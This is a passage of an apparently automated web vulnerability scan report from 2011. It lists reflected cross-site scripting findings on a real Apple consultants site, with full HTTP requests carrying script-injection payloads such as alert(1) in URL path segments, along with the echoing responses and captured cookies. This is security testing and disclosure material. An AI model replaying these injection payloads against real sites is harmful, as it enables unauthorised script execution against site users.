ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:41 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:41 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15985

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</imagesbda66;alert(1)//92590c5bfb6/blurb-profiles.jpg" class="search" id="g-search">
...[SNIP]...

1.10. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 8c343%3balert(1)//8ce74d6d3ff was submitted in the REST URL parameter 4. This input was echoed as 8c343;alert(1)//8ce74d6d3ff in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/blurb-profiles.jpg8c343%3balert(1)//8ce74d6d3ff HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:46 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:46 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15985

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</images/blurb-profiles.jpg8c343;alert(1)//8ce74d6d3ff" class="search" id="g-search">
...[SNIP]...

1.11. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 33ccd"><script>alert(1)</script>99c2e05afb2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /services.php/33ccd"><script>alert(1)</script>99c2e05afb2/images/border-left.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:38 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:38 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15958

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<form name="US" method="post" action="/services.php/33ccd"><script>alert(1)</script>99c2e05afb2/images/border-left.gif" class="search" id="g-search">
...[SNIP]...

1.12. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 3882f%3balert(1)//8240309616 was submitted in the REST URL parameter 2. This input was echoed as 3882f;alert(1)//8240309616 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C3882f%3balert(1)//8240309616/images/border-left.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:39 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:39 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15981

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
<3882f;alert(1)//8240309616/images/border-left.gif" class="search" id="g-search">
...[SNIP]...

1.13. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e82ca%3balert(1)//d4752bdba4f was submitted in the REST URL parameter 3. This input was echoed as e82ca;alert(1)//d4752bdba4f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/imagese82ca%3balert(1)//d4752bdba4f/border-left.gif HTTP/1.1
Host: consultants.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/script%3Ec29f000149b
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; __utma=99260172.2085989018.1310696674.1310696674.1310696674.1; __utmb=99260172.4.10.1310696674; __utmc=99260172; __utmz=99260172.1310696674.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Fri, 15 Jul 2011 02:27:40 GMT
Server: Apache/2.2.13 (Unix) mod_ssl/2.2.13 OpenSSL/0.9.8k DAV/2 PHP/5.3.0 mod_fastcgi/2.4.2
X-Powered-By: PHP/5.3.0
Cache-Control: max-age=60
Expires: Fri, 15 Jul 2011 02:28:40 GMT
MS-Author-Via: DAV
Content-Type: text/html
Content-Length: 15982

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en-us">
<head>
<title>Apple Consultants Network</title>
<meta name="Category" co
...[SNIP]...
</imagese82ca;alert(1)//d4752bdba4f/border-left.gif" class="search" id="g-search">
...[SNIP]...

1.14. http://consultants.apple.com/services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://consultants.apple.com
Path:   /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 2918a%3balert(1)//5dbf75dd64 was submitted in the REST URL parameter 4. This input was echoed as 2918a;alert(1)//5dbf75dd64 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /services.php/fca6c%22%3E%3Cscript%3Ealert(document.location)%3C/images/border-left.gif2918a%3balert(1)//5dbf75dd64 HTTP/1.1
Host: consultants.apple.com
